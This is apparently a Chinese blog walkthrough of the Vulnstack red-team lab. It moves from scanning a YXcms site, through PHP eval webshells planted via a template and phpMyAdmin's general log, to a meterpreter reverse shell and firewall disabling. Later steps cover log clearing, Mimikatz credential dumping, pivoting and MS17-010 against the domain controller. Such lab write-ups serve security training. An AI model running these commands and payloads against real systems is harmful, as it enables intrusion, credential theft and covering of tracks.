背景
这次靶场环境是红日安全团队提供:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
靶场环境
这里介绍一下靶场的实验环境,记得开启windows7的PHPstudy
主机 | 地址 |
---|---|
kali(攻击者) | 192.168.113.1 |
windows7(web服务器) | 192.168.113.153 192.168.52.143 |
win2003(域成员) | 192.168.52.141 |
win2008 (域控) | 192.168.52.138 |
一、信息收集
arp扫描器
使用kali的arp扫描工具,扫出和自己同网段的主机
arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:e2:74:bc, IPv4: 192.168.113.152
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.113.1 00:50:56:c0:00:08 VMware, Inc.
192.168.113.2 00:50:56:f9:9f:d9 VMware, Inc.
192.168.113.153 00:0c:29:85:eb:2e VMware, Inc.
192.168.113.254 00:50:56:e4:0c:16 VMware, Inc.
可以轻松发现另一台主机IP地址是192.168.113.153
端口扫描
使用nmap扫描,这里提供两种,非详细扫描和详细扫描
nmap -T4 -p- 192.168.113.153 # T4是扫描速度,可以加速扫描
可以将操作系统信息输出(需要更信息可以加-A参数,但是速度非常慢)
nmap -T4 -sV -p- 192.168.113.153
端口扫描发现外网服务器开启了22、80、3306端口,初步判断开启了SSH、HTTP和MySQL的数据库服务。
目录扫描
发现扫描得到的东西太少,选择使用7kbscan-WebPathBrute工具扫描,他工具自带的字典比较大,看下图由于字典太大,扫描了一会得到了一些信息后暂时关闭
可以发现以下信息:
- 存在网站备份文件 beifen.rar
- phpadmin后台管理页面
下载备份文件后,可以发现里面有个robot.txt,发现网站CMS为yxcms
robot.txt内容:
#
# robots.txt for YXCMS
#
User-agent: *
Disallow: /data
Disallow: /protected
接着访问http://192.168.113.153/yxcms/ ,就可以进入网站页面
二、漏洞利用
漏洞发现
- 漏洞一:信息泄露+弱口令
网站首页公布敏感信息,成功进入网站后台
本站为YXcms的默认演示模板,YXcms是一款基于PHP+MYSQL构建的高效网站管理系统。 后台地址请在网址后面加上/index.php?r=admin进入。 后台的用户名:admin;密码:123456,请进入后修改默认密码。
- 漏洞二:phpmyadmin存在弱口令,使用phpmyadmin的默认账号密码
- 漏洞三:存在XSS漏洞
在CMS的留言本提交:
tsa
- 漏洞四:CMS后台文件任意读写漏洞(一句话木马)
在后台有创建模板,在这里上传一句话木马
分析前面网站的备份源码可以发现该网站上传文件的位置
可以得到上传木马的位置:http://192.168.113.153/yxcms/protected/apps/default/view/default/shell.php
使用蚁剑连接shell
- 漏洞五:phpmyadmin利用全局日志文件任意读写漏洞(一句话木马)
先尝试直接写入,写入失败
Select ‘<?php eval($_POST[‘cmd’]);?> ‘ into outfile ‘C:/phpStudy/WWW/shell.php’
查看写入失败原因,可以看到secure_file_priv值为空
SHOW GLOBAL VARIABLES LIKE ‘%secure%’
开启全局日志并修改日志保存位置
show global variables like '%general_%' # 查看全局变量
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/hack.php';
将一句话木马写入日志
Select ‘<?php eval($_POST[‘cmd’]);?>’
再使用蚁剑连接,拿下shell
利用漏洞添加新管理员
三、内网搜集
关闭防火墙
利用前面获得的webshell关闭防火墙
netsh advfirewall set allprofiles state off
内网信息收集
查看当前用户名和域ID
whoami
whoami /all
查看网络配置、打印路由信息、查看arp缓存(可以看到内网主机)
ipconfig /all
route print
查看内网主机
arp -a
输入下面命令可以发现,该win7是域管理员
net group “domain admins” /domain
net group "domain admins" /domain
The request will be processed at a domain controller for domain god.org.
Group name Domain Admins
Comment ����������Ա
Members
-------------------------------------------------------------------------------
Administrator OWA$
The command completed successfully.
访问其他域的文件:
C:\phpStudy>dir \\ROOT-TVI862UBEH\C$
dir \\ROOT-TVI862UBEH\C$
������ \\ROOT-TVI862UBEH\C$ �еľ�û�б�ǩ��
��������� A814-B251
\\ROOT-TVI862UBEH\C$ ��Ŀ¼
2011/11/15 21:48 0 AUTOEXEC.BAT
2011/11/15 21:48 0 CONFIG.SYS
2019/08/24 22:17 <DIR> Documents and Settings
2023/05/20 11:39 3,282 HistorySvr.txt
2012/01/12 17:36 <DIR> Inetpub
2023/05/20 11:39 8,218 Kinglog.txt
2019/09/14 09:15 <DIR> mawale
2019/10/13 16:39 8,800 Netlog.txt
2011/12/16 18:42 <DIR> odbg201d
2011/12/16 18:10 <DIR> OllyICE
2011/12/16 17:08 <DIR> oracle
2012/02/20 10:24 <DIR> Program Files
2019/08/24 22:07 <DIR> TEMP
2019/09/02 22:04 <DIR> WINDOWS
2011/11/15 21:48 <DIR> wmpub
5 ���ļ� 20,300 ��
10 ��Ŀ¼ 36,025,511,936 ������
控制服务器
在kali上使用msf生成shell文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.113.152 LPORT=1111 -f exe -o hack.exe
用蚁剑将shell上传到服务器
在msfconsole执行以下操作
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.113.152
set lport 1111
exploit
使用蚁剑在目标服务器执行hack.exe
成功获取session,并查看用getuid获取用户id
用ps查看目标服务器进程,可以看到放入的木马
进程迁移
为了防止目标服务器检查到我们上传的hack.exe木马,我们可以将进程迁移到其他正常进程,例如Apache
这里我的hack.exe木马进程id是3064,Apache进程是1968
然后清除痕迹clearev
Cobalt Strike上线
这里有很多方法可以获取靶场,我这里使用Web Delivery
主机密码收集
在cs上加载Minikatz,获取密码
四、横向移动
搭建隧道
添加路由,使得msf可以访问内网
run post/multi/manage/autoroute
查看路由
run autoroute -p
设置proxychains代理
use auxiliary/server/socks4a
利用ms17-010漏洞拿下域控服务器
利用MS17-010获取域服务器和域控服务器权限,这里我们直接攻击域控服务器
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138 # win 2008
run
PS:在shell中如果出现乱码可以执行
chcp 65001